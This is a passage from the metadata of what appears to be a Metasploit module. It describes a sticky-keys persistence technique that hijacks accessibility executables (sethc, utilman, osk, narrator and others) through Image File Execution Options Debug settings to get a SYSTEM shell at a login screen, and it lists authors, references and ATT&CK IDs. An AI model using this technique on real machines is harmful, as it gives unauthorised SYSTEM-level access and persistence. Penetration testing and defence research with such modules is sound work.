The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting for certain executables. The module options allow for this hack to be applied to: SETHC (sethc.exe is invoked when SHIFT is pressed 5 times), UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U), OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard), DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P), NARRATOR (Narrator.exe is invoked by pressing WINDOWS+CTR+ENTER), ATBROKER (AtBroker.exe is invoked by launching accessibility features from the login screen, such as WINDOWS+CTR+ENTER). Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded to the target prior to running the module. }, 'Author' => [ 'OJ Reeves', # original module 'h00die' # persistence mixin, narrator, atbroker, docs ], 'Platform' => ['win'], 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'SessionTypes' => ['meterpreter', 'shell'], 'References' => [ ['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'], ['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'], ['URL', 'https://support.microsoft.com/en-us/windows/appendix-b-narrator-keyboard-commands-and-touch-gestures-8bdab3f4-b3e9-4554-7f28-8b15bd37410a'], ['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION], ['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/'] ], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '1995-04-24', # windows 95 release date which included first sticky keys 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write.
